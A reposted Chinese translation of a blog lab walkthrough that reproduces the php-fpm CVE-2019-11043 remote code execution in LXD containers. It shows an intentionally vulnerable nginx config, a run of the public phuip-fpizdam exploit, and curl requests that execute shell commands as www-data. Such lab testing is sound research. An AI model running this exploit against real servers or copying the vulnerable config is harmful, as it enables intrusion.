当前位置: 首页 > news >正文

wordpress博客怎麽用/网站如何进行seo

wordpress博客怎麽用,网站如何进行seo,简单好玩的网页游戏,网站 微站建设排名CVE-2019-11043是php-fpm中的一个缓冲区溢出漏洞,在某些情况下会导致远程执行。PHuiP-FPizdaM有一个针对某些nginx和php-fpm配置的漏洞复现测试,他们描述了如何使用Docker来测试此漏洞。在本文中,我们使用LXD来测试漏洞并验证其是否真实有效。…

33b5f8e3b35efee4ae53e078b36dd09a.gif

CVE-2019-11043是php-fpm中的一个缓冲区溢出漏洞,在某些情况下会导致远程执行。PHuiP-FPizdaM有一个针对某些nginx和php-fpm配置的漏洞复现测试,他们描述了如何使用Docker来测试此漏洞。

在本文中,我们使用LXD来测试漏洞并验证其是否真实有效。

当nginx配置为php-fpm以特定方式处理时,该漏洞很容易触发,Nextcloud的配置说明建议使用这种错误的配置方式。在本文中,我们尝试在不安装Nextcloud的情况下实现此漏洞的复现。

在下面创建了两个系统容器:vulnerable和hacker。在第一个容器中,我们根据漏洞利用页面的需要进行设置nginx和php-fpm(最新版本,仍然存在缓冲区溢出)并进行配置。在另一个容器中,我们针对第一个容器运行漏洞利用代码。

cf393339b8327d60229492b889bd58fe.png0x01 配置存在漏洞的容器环境

我们创建容器vulnerable并安装软件包nginx和php-fpm。php-fpm的版本必须是一个存在漏洞的版本。存在缓冲区溢出漏洞的版本是php-fpm-7.2.19-0ubuntu0.18.04.2。

http://security.ubuntu.com/ubuntu/pool/universe/p/php7.2/

 $ lxc launch ubuntu:18.04 vulnerable

 Creating vulnerable

 Starting vulnerable

 $ lxc exec vulnerable -- sudo --user ubuntu --login

 To run a command as administrator (user "root"), use "sudo ".

 See "man sudo_root" for details.

  ubuntu@vulnerable:~$ sudo apt update

 ...

 ubuntu@vulnerable:~$ sudo apt install -y nginx php-fpm

 ...

 ubuntu@vulnerable:~$ apt policy php-fpm

 php-fpm:

  Installed: 1:7.2+60ubuntu1

  Candidate: 1:7.2+60ubuntu1

  Version table:

 *** 1:7.2+60ubuntu1 500

        500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages

        100 /var/lib/dpkg/status

 ubuntu@vulnerable:~$ apt policy php7.2-fpm

 php7.2-fpm:

   Installed: 7.2.19-0ubuntu0.18.04.2

   Candidate: 7.2.19-0ubuntu0.18.04.2

   Version table:

  *** 7.2.19-0ubuntu0.18.04.2 500

         500 http://archive.ubuntu.com/ubuntu bionic-updates/universe amd64 Packages

         500 http://security.ubuntu.com/ubuntu bionic-security/universe amd64 Packages

         100 /var/lib/dpkg/status

      7.2.3-1ubuntu1 500

         500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages

 ubuntu@vulnerable:~$ logout

 $

给vulnerable为刚刚安装nginx和php-fpm的当前状态的容器拍摄快照。如果要重新开始测试,可以轻松切换回此状态。

在此处展示如何还原以及删除快照:

$ lxc snapshot vulnerable stock-install 

$ lxc info vulnerable  

Name: vulnerable

...

Snapshots:    

stock-install (taken at 2019/10/28 10:11 UTC) (stateless) 

$ lxc restore vulnerable stock-install 

$ lxc delete vulnerable/stock-install

默认情况下,php-fpm没有在nginx服务器(即虚拟主机)中启用,现在启用一下。首先尝试使用Ubuntu中的默认配置进行设置。以下是nginx中的默认网站配置,删除了所有不重要的内容,并启用了PHP支持。现在还尚未配置php-fpm为易受攻击状态。

# Location: /etc/nginx/sites-enabled/default

  server {

         listen 80 default_server;

         root /var/www/html;

          # Add index.php to the list if you are using PHP

         index index.html index.php;

          server_name _;

          location / {

             # First attempt to serve request as file, then

             # as directory, then fall back to displaying a 404.

             try_files $uri $uri/ =404;

         }

          # pass PHP scripts to FastCGI server

         #

         location ~ \.php$ {

             include snippets/fastcgi-php.conf;

              fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;

        }

 }

最后创建一个index.php并在其中添加一些简单的PHP。然后,我们验证PHP代码是否可以运行。要漏洞利用的话,我们还可以使用一个空的.php文件。

 ubuntu@vulnerable:~$ lxc exec vulnerable -- sudo --user ubuntu --login

 ubuntu@vulnerable:~$ echo "<?php echo '

Hello World

'; ?> " | sudo tee /var/www/html/index.php

 ubuntu@vulnerable:~$ curl http://localhost

 Hello World

 ubuntu@vulnerable:~$

存在漏洞的容器已准备就绪,为容器做个快照,以备将来会使用到。

ubuntu@vulnerable:~$ logout

 $ lxc snapshot vulnerable stock-with-php-on 

$

cf393339b8327d60229492b889bd58fe.png0x02 配置攻击容器环境

创建hacker容器并编译漏洞利用代码:

 $ lxc launch ubuntu:18.04 hacker

 Creating hacker

 Starting hacker

 $ lxc exec hacker -- sudo --user ubuntu --login

 ubuntu@hacker:~$ sudo snap install go --classic

 go 1.13.3 from Michael Hudson-Doyle (mwhudson) installed

 ubuntu@hacker:~$ git clone https://github.com/neex/phuip-fpizdam.git

 ubuntu@hacker:~$ cd phuip-fpizdam/

 ubuntu@hacker:~/phuip-fpizdam$ go build

 go: downloading github.com/spf13/cobra v0.0.5

 go: extracting github.com/spf13/cobra v0.0.5

 go: downloading github.com/spf13/pflag v1.0.3

 go: extracting github.com/spf13/pflag v1.0.3

 go: finding github.com/spf13/cobra v0.0.5

 go: finding github.com/spf13/pflag v1.0.3

 ubuntu@hacker:~/phuip-fpizdam$ ls

  README.md  consts.go  detect_methods.go  go.sum   phpini.go      

  reproducer attack.go  detect.go  go.mod  main.go  phuip-fpizdam  

  requester.go

 ubuntu@hacker:~/phuip-fpizdam$

在这一阶段,我们可以尝试查看vulnerable容器中nginx + php的常规安装是否可以执行漏洞利用代码实现利用。该vulnerable容器是通过使用名称加上.lxd从这个容器访问。每个LXD容器都是随机获得这样的主机名的,其他容器都可以使用这些主机名来访问所有这些主机名。

 ubuntu@hacker:~/phuip-fpizdam$ curl http://vulnerable.lxd/index.php

 

Hello World

 ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php

 2019/10/28 10:09:06 Base status code is 404

 2019/10/28 10:09:06 Detect() returned error: no qsl candidates found, invulnerable or something wrong

 ubuntu@hacker:~/phuip-fpizdam$

hacker容器已经准备就绪,vulnerable容器是不是真的可以被利用,需要恢复快照到可以利用的状态。

cf393339b8327d60229492b889bd58fe.png0x03 配置vulnerable容器

在上面的服务器配置中,有一个指令是include snippets/fastcgi-php.conf;,该指令用于逐字节include一组配置。我们需要编辑这些配置,因此导入整个文件,服务器块如下所示:

 # Location: /etc/nginx/sites-enabled/default

  server {

         listen 80 default_server;

         root /var/www/html;

          # Add index.php to the list if you are using PHP

         index index.html index.php;

          server_name _;

          location / {

             # First attempt to serve request as file, then

             # as directory, then fall back to displaying a 404.

             try_files $uri $uri/ =404;

         }

          # pass PHP scripts to FastCGI server

         #

         location ~ \.php$ {

  # regex to split $uri to $fastcgi_script_name and $fastcgi_path

 fastcgi_split_path_info ^(.+.php)(/.+)$;

  # Check that the PHP script exists before passing it

 try_files $fastcgi_script_name =404;

  # Bypass the fact that try_files resets $fastcgi_path_info

 # see: http://trac.nginx.org/nginx/ticket/321

 set $path_info $fastcgi_path_info;

 fastcgi_param PATH_INFO $path_info;

  fastcgi_index index.php;

 include fastcgi.conf;

              fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;

        }

 }

我们进行以下最小更改。

首先,将匹配模式更改为所述模式。其次,注释掉try_files指令。然后,将include fastcgi.conf目录移到该部分的最外层。该文件位于/etc/nginx/fastcgi.conf,只需要将几个环境变量设置为PHP-FPM。

71ae276cec6c0099ba722dc5d158a5ae.png

更改为php-fpm的默认nginx配置。

这是最终漏洞程序的配置文件。

切换到hacker容器并尝试利用。

 # Location: /etc/nginx/sites-enabled/default

  server {

         listen 80 default_server;

         root /var/www/html;

          # Add index.php to the list if you are using PHP

         index index.html index.php;

          server_name _;

          location / {

             # First attempt to serve request as file, then

             # as directory, then fall back to displaying a 404.

             try_files $uri $uri/ =404;

         }

          # pass PHP scripts to FastCGI server

         #

         location ~ [^/].php(/|$) {

  include fastcgi.conf;

  # regex to split $uri to $fastcgi_script_name and $fastcgi_path

 fastcgi_split_path_info ^(.+.php)(/.+)$;

  # Check that the PHP script exists before passing it

 #try_files $fastcgi_script_name =404;

  # Bypass the fact that try_files resets $fastcgi_path_info

 # see: http://trac.nginx.org/nginx/ticket/321

 set $path_info $fastcgi_path_info;

 fastcgi_param PATH_INFO $path_info;

  fastcgi_index index.php;

              fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;

        }

 }

cf393339b8327d60229492b889bd58fe.png0x04 漏洞利用

在hacker容器中,我们在容器上运行漏洞利用程序vulnerable。php-fpm确实受到了影响,可以用来进一步远程执行命令。

 ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php

 2019/10/28 14:39:24 Base status code is 200

 2019/10/28 14:39:25 Status code 502 for qsl=1765, adding as a candidate

 2019/10/28 14:39:25 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]

 2019/10/28 14:39:25 Attack params found: --qsl 1760 --pisos 84 --skip-detect

 2019/10/28 14:39:25 Trying to set "session.auto_start=0"…

 2019/10/28 14:39:25 Detect() returned attack params: --qsl 1760 --pisos 84 --skip-detect

 2019/10/28 14:39:25 Performing attack using php.ini settings…

 2019/10/28 14:39:25 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs

 2019/10/28 14:39:25 Trying to cleanup /tmp/a…

 2019/10/28 14:39:25 Done!

 ubuntu@hacker:~/phuip-fpizdam$

根据说明运行如下命令,漏洞利用代码每隔一段时间就会利用成功。

 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"

 

Hello World

 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"

 uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

Hello World

 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"

 

Hello World

 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"

 uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

Hello World

 ubuntu@hacker:~/phuip-fpizdam$

利用的方式是将/tmp/a帮助程序脚本保存在存在漏洞程序的主机上,然后,每次调用此帮助程序以执行攻击命令。

 ubuntu@vulnerable:~$ ls -l /tmp/a

 -rw-r--r-- 1 www-data www-data 32 Oct 28 14:41 /tmp/a

  ubuntu@vulnerable:~$ cat /tmp/a

  ubuntu@vulnerable:~$

cf393339b8327d60229492b889bd58fe.png0x05 结论

可以使用LXD作为开发和测试环境来评估此漏洞的重要性,不需要使用Docker进行测试。可以在许多Linux发行版中进行选择,包括Ubuntu,Debian,Centos,Fedora和openSUSE。

我们还可以在ubuntu:16.04设置一个vulnerable容器来研究PHP5上的此漏洞。

本文翻译自:https://blog.simos.info/testing-cve-2019-11043-php-fpm-security-vulnerability-with-lxd-system-containers/

39f56b51add872a21f29ce906245fd1b.png

4ada54edb1b7123be522d745b829f0be.png

http://www.lbrq.cn/news/1060183.html

相关文章:

  • 做网站使用什么语言好/网站开发月薪多少钱
  • 网站开发公司源码/重庆快速网络推广
  • 专业的丹阳网站建设/企业网站建设门户
  • 杭州网站建设专家/app开发工具
  • 内蒙古包头做网站的公司/新东方在线网上课程
  • 网站建设方法总汇/网络营销外包顾问
  • 提升网站页面打开速度/谷歌seo优化
  • 咨询网站开发/域名查询 ip
  • sublime做家乡网站/公司网络推广网站
  • 做网站模板的网页名称是m开头/企业网站建设方案范文
  • wordpress购物网站/广州百度关键词搜索
  • 南京市浦口区建设局网站/适合seo软件
  • 做网站用哪个服务器/手机app免费制作平台
  • 男女做暖免费网站 香蕉/百度网站提交了多久收录
  • 长沙市宁乡县建设局网站/产品推广方式有哪些
  • 付费网站建设模板/推广优化工具
  • 中国城乡和住房建设部网站/目前最火的自媒体平台
  • wordpress 只显示文字/win10优化
  • 网站推广要怎样做/正安县网站seo优化排名
  • 今日全世界疫情排名一览表/seo网站关键词优化
  • 百度竞价网站/百度服务电话6988
  • 域名停靠app大全下载网站入口2023/在线crm
  • python和java做网站/天津网络优化推广公司
  • 有个新网站专门做外贸的叫什么/seo营销方案
  • php网站模板修改/广告牌
  • 专业集团门户网站建设费用/搜索引擎优化seo怎么做
  • 临清设计网站/做网上营销怎样推广
  • 网站发帖功能怎么做/查排名的网站
  • 网站禁止右键/seo营销工具
  • 动漫人物做羞羞事的网站/上海网络推广优化公司
  • (ZipList入门笔记二)为何ZipList可以实现内存压缩,可以详细介绍一下吗
  • ubuntu24安装vulkan-sdk
  • DDoS 防护的未来趋势AI 如何改变安全行业
  • 【基础】第八篇 Java 位运算符详解:从基础到实战应用
  • Redis内存耗尽时的应对策略
  • # 【Java + EasyExcel 实战】动态列 + 公式备注 Excel 模板导出全流程(附完整代码)